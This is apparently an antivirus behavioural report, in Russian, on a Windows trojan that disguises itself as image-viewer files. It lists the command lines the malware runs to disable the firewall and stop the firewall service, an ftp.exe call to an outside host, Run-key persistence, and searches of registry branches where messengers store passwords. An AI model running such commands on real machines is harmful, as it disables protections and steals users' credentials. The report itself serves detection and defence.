Техническая информация
Для обеспечения автозапуска и распространения:
Модифицирует следующие ключи реестра:
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'stat2' = '%ALLUSERSPROFILE%\Application Data\Msn\statup.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'stat' = '%ALLUSERSPROFILE%\Application Data\Msn\statup.exe'
Создает или изменяет следующие файлы:
- %ALLUSERSPROFILE%\Start Menu\Programs\Startup\msn.lnk
Вредоносные функции:
Для обхода брандмауэра удаляет или модифицирует следующие ключи реестра:
- [<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'
- [<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'DoNotAllowExceptions' = '00000000'
- [<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'EnableFirewall' = '00000000'
- [<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'DoNotAllowExceptions' = '00000000'
Создает и запускает на исполнение:
- C:\users\public\Public Document\image viewer.exe /stext msn.klm
- C:\users\public\Public Document\msnw.exe
- C:\users\public\Public Document\picture view.exe /stext wwsn.klm
- C:\users\public\Public Document\picture.exe
- C:\users\public\Public Document\picture viewer.exe /stext wmsn.klm
Запускает на исполнение:
- <SYSTEM32>\attrib.exe -r +a +s +h "%ALLUSERSPROFILE%\Application Data\Msn"
- <SYSTEM32>\attrib.exe +r +a +s +h "%ALLUSERSPROFILE%\Application Data"
- <SYSTEM32>\netsh.exe firewall set opmode disable
- <SYSTEM32>\ftp.exe -s:bmsn.klm ftp.freehostia.com
- <SYSTEM32>\rundll32.exe <SYSTEM32>\shimgvw.dll,ImageView_Fullscreen C:\users\public\Public Document\pic.gif
- <SYSTEM32>\attrib.exe +r a +s +h "C:\users\public\public document"
- <SYSTEM32>\sc.exe config mpssvc start= Disabled
- <SYSTEM32>\netsh.exe firewall set opmode mode = DISABLE profile = ALL
- %WINDIR%\regedit.exe /s "conf.reg"
- <SYSTEM32>\sc.exe stop MpsSvc
- <SYSTEM32>\net1.exe stop mpssvc
- <SYSTEM32>\net.exe stop mpssvc
Ищет ветки реестра, отвечающие за хранение паролей сторонними программами:
- [<HKCU>\Software\Yahoo\Pager]
- [<HKCU>\Software\Microsoft\IdentityCRL]
- [<HKCU>\Software\Microsoft\MessengerService]
- [<HKCU>\Software\Google\Google Talk\Accounts]
- [<HKCU>\Software\Microsoft\MSNMessenger]
Изменения в файловой системе:
Создает следующие файлы:
- %ALLUSERSPROFILE%\Application Data\Msn\msn.lnk
- %ALLUSERSPROFILE%\Application Data\Msn\keeprun.ini
- %ALLUSERSPROFILE%\Application Data\Msn\pic.gif
- %ALLUSERSPROFILE%\Application Data\Msn\msnw.exe
- %ALLUSERSPROFILE%\Application Data\Msn\conf.reg
- %ALLUSERSPROFILE%\Application Data\Msn\bmsn.klm
- %ALLUSERSPROFILE%\Application Data\Msn\image viewer.exe
- %ALLUSERSPROFILE%\Application Data\Msn\dmsn.klm
- %ALLUSERSPROFILE%\Application Data\Msn\picture view.exe
- %ALLUSERSPROFILE%\Application Data\Msn\viewer.exe
- %ALLUSERSPROFILE%\Application Data\Msn\statu.exe
- %HOMEPATH%\Recent\Public Document.lnk
- %HOMEPATH%\Recent\pic.lnk
- %ALLUSERSPROFILE%\Application Data\Msn\PIC_201227We_ _1207100 .jpg
- %ALLUSERSPROFILE%\Application Data\Msn\picture.exe
- %ALLUSERSPROFILE%\Application Data\Msn\picture viewer.exe
- %ALLUSERSPROFILE%\Application Data\Msn\PIC_201227We_ _1207100 .jpeg
- %ALLUSERSPROFILE%\Application Data\Msn\PIC_201227We_ _1207100 .jpe
- C:\users\public\Public Document\wmsn.klm
- C:\users\public\Public Document\msnw.exe
- C:\users\public\Public Document\pic.gif
- C:\users\public\Public Document\keeprun.ini
- C:\users\public\Public Document\msn.lnk
- C:\users\public\Public Document\picture view.exe
- C:\users\public\Public Document\viewer.exe
- C:\users\public\Public Document\picture.exe
- C:\users\public\Public Document\picture viewer.exe
- C:\users\public\Public Document\statu.exe
- C:\users\public\Public Document\image viewer.exe
- %ALLUSERSPROFILE%\Application Data\GLo1QVKxbHz4NDHAeO0\PCGWIN32.LI5
- %ALLUSERSPROFILE%\Application Data\nld3mvgfbH\PCGWIN32.LI5
- C:\users\public\Public Document\msn.klm
- C:\users\public\Public Document\wwsn.klm
- %ALLUSERSPROFILE%\Application Data\tLUD9bTybHz4NDH\PCGWIN32.LI5
- C:\users\public\Public Document\conf.reg
- C:\users\public\Public Document\dmsn.klm
- %TEMP%\28605RBN.bat
- C:\users\public\Public Document\bmsn.klm
Присваивает атрибут 'скрытый' для следующих файлов:
- %ALLUSERSPROFILE%\Application Data\nld3mvgfbH\PCGWIN32.LI5
- %ALLUSERSPROFILE%\Application Data\GLo1QVKxbHz4NDHAeO0\PCGWIN32.LI5
- %TEMP%\28605RBN.bat
- %ALLUSERSPROFILE%\Application Data\tLUD9bTybHz4NDH\PCGWIN32.LI5
Удаляет следующие файлы:
- %TEMP%\28605RBN.bat
Сетевая активность:
Подключается к:
- 'localhost':1039
- 'ft#.##eehostia.com':21
UDP:
- DNS ASK ft#.##eehostia.com
Другое:
Ищет следующие окна:
- ClassName: 'ShImgVw:CPreviewWnd' WindowName: ''
- ClassName: 'Shell_TrayWnd' WindowName: ''
- ClassName: 'RegEdit_RegEdit' WindowName: ''
- ClassName: 'Indicator' WindowName: ''
